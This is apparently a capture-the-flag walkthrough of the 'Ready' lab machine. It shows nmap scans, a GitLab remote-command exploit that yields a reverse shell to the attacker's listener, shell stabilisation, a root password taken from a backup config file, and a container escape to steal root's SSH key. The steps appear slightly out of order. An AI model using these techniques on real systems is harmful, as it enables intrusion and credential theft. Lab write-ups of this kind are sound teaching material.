As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.
The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:
-sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.
--min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.
-p- scanning the entire port range, from 1 to 65535.
-T5insane mode, it is the fastest mode of the nmap time template.
-Pn assume the host is online.
-n scan without reverse DNS resolution.
-oNsave the scan result into a file, in this case the allports file.
# Nmap 7.92 scan initiated Tue Jul 5 20:52:22 2022 as: nmap -sS -p- --min-rate 5000 -Pn -n -oN allPorts 10.10.10.220
Nmap scan report for 10.10.10.220
Host is up (0.058s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
5080/tcp open onscreen
# Nmap done at Tue Jul 5 20:52:36 2022 -- 1 IP address (1 host up) scanned in 13.26 seconds
Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:
nmap -sC -sV -p22,5080 10.10.10.220 -oN targeted
-sC performs the scan using the default set of scripts.
-sV enables version detection.
-oNsave the scan result into file, in this case the targeted file.
# Nmap 7.92 scan initiated Tue Jul 5 20:31:28 2022 as: nmap -sCV -p22,5080 -oN targeted 10.10.10.220
Nmap scan report for 10.10.10.220
Host is up (0.061s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
5080/tcp open http nginx
|_http-title: GitLab is not responding (502)
| http-robots.txt: 53 disallowed entries (15 shown)
| / /autocomplete/users /search /api /admin /profile
| /dashboard /projects/new /groups/new /groups/*/edit /users /help
|_/s/ /snippets/new /snippets/*/edit
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Jul 5 20:31:46 2022 -- 1 IP address (1 host up) scanned in 17.80 seconds
If we take a look at the nginx server on port 5080, we'll see a GitLab server.
Let's create a new user from the Register section.
Once we are logged in, we could see the GitLab version from the Help page.
If we execute the exploit, we'll get a reverse shell as the git user, and we'll be able to grab the user flag.
python exploit.py
listening on [any] 4444 ...
connect to [10.10.14.15] from (UNKNOWN) [10.10.10.220] 60468
bash: cannot set terminal process group (519): Inappropriate ioctl for device
bash: no job control in this shell
git@gitlab:~/gitlab-rails/working$ whoami
whoami
git
git@gitlab:~/gitlab-rails/working$ cat /home/dude/user.txt
cat /home/dude/user.txt
75e97402c7732a79365dcb22de8ad416
Privilege Escalation
First, let's set an interactive TTY shell.
script /dev/null -c /bin/bash
Then I press Ctrl+Z and execute the following command on my local machine:
stty raw -echo; fg
reset
Terminal type? xterm
Next, I export a few variables:
export TERM=xterm
export SHELL=bash
Finally, I run the following command in our local machine:
stty size
51 236
And set the proper dimensions in the victim machine:
stty rows 51 columns 236
If we check the IP address, we'll see that we are not in the Ready machine with the IP 10.10.10.220, instead we are probably in a docker container with the IP address 172.19.0.2.
hostname -I
172.19.0.2
If we enumerate the machine, we'll find the /opt/backups directory with some files.
If we check the content of the gitlab.rb file, omitting all the comments, we'll see an SMTP password.
grep -v "^#" /opt/backup/gitlab.rb | xargs
gitlab_rails[smtp_password] = wW59U!ZKMbG9+*#h
Let's try to become root with that password.
su root
Password: wW59U!ZKMbG9+*#h
root@gitlab:/var/opt/gitlab/gitlab-rails/working# whoami
root
root@gitlab:/var/opt/gitlab/gitlab-rails/working# id
uid=0(root) gid=0(root) groups=0(root)
Now we are the root user of the docker container, not the real machine. But, we can't see the root flag yet. If we list the system disk devices, we'll see that the /dev/sda2 filesystem is mounted on /root_pass.
Let's copy it to our local machine, and give it the right permissions.
nano id_rsa
chmod 600 id_rsa
Finally, if we SSH into the victim machine giving the id_rsa file, we'll get a shell as root. Then, all we have to do is reap the harvest and take the root flag.
ssh -i id_rsa root@10.10.10.220
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 06 Jul 2022 04:45:52 PM UTC
System load: 0.0
Usage of /: 79.7% of 9.22GB
Memory usage: 71%
Swap usage: 0%
Processes: 330
Users logged in: 0
IPv4 address for br-bcb73b090b3f: 172.19.0.1
IPv4 address for docker0: 172.17.0.1
IPv4 address for ens160: 10.10.10.220
IPv6 address for ens160: dead:beef::250:56ff:feb9:f522
=> There are 5 zombie processes.
* Introducing self-healing high availability clusters in MicroK8s.
Simple, hardened, Kubernetes for production, from RaspberryPi to DC.
https://microk8s.io/high-availability
186 updates can be installed immediately.
89 of these updates are security updates.
To see these additional updates run: apt list --upgradable
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Apr 5 16:15:21 2022
root@ready:~# whoami
root
root@ready:~# cat root.txt
e97fcab555a940b9f5cda6b82be5814e
If you do some research on the internet, you'll find that this version of GitLab is vulnerable to a Remote Command Execution . I made my own exploit, which basically exploits a SSRF vulnerability when making a new project by importing a URL. Make sure to change the necessary variables to make the script work.